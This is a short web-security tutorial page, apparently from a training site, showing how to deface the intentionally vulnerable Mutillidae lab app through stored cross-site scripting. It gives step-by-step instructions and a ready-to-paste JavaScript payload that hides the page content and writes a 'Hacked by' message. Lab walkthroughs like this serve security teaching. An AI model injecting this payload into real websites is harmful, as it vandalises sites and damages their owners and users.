Mutillidae Deface page

Previous Next

Let's write our message on the main webpage and delete or replace the main content of the page.

Why is deface Attacked?

Deface ?, When we change the content of any webpage according to our own, it is called Deface attack.You must have seen many times when a hacker writes his message on the main page of a website, it is called a deface attack.

Deface using XSS

Example Security label : 0,1

  1. First open where you can insert something Like, registration page or add blog page or comment post page
  2. Now write the javaScript code as you want , here we are using the redirect page using mouse move.
  3. Do with this example , just copy and paste it on your input box and post it.
document.getElementsByTagName("tbody")[0].setAttribute("style", "display:none;"); document.getElementsByTagName("div")[0].setAttribute("style", "display:none;"); document.getElementsByTagName("table")[0].setAttribute("style", "display:none;"); document.getElementsByTagName("body")[0].setAttribute("style", "background-color:#008D4C;color:#ffffff;text-align:center"); var par = document.createElement("p"); var text = document.createTextNode("Hacked by Team cybNg"); document.body.appendChild(par.appendChild(text));

Click on the button after that let the page refresh, and you will see that your page is defaced

💡 Tip: There is another way to deface, we deface it through the shell, we will study in DVWA or bWapp

Previous Next
cybNg Designed for learning, testing and training. Examples are simplified to improve reading and basic understanding, tutorials and examples are constantly reviewed to avoid over-comprehension and errors, but we cannot warrant the complete accuracy of all content. While using this site, you agree to read and accept our use, cookie and privacy policy. All the information given in it is made for education purpose only, there will be no responsibility of this website or this organization for misuse of the information given in it. We hope that all the information provided in it is good for our students. So that it helps improve the cyber world.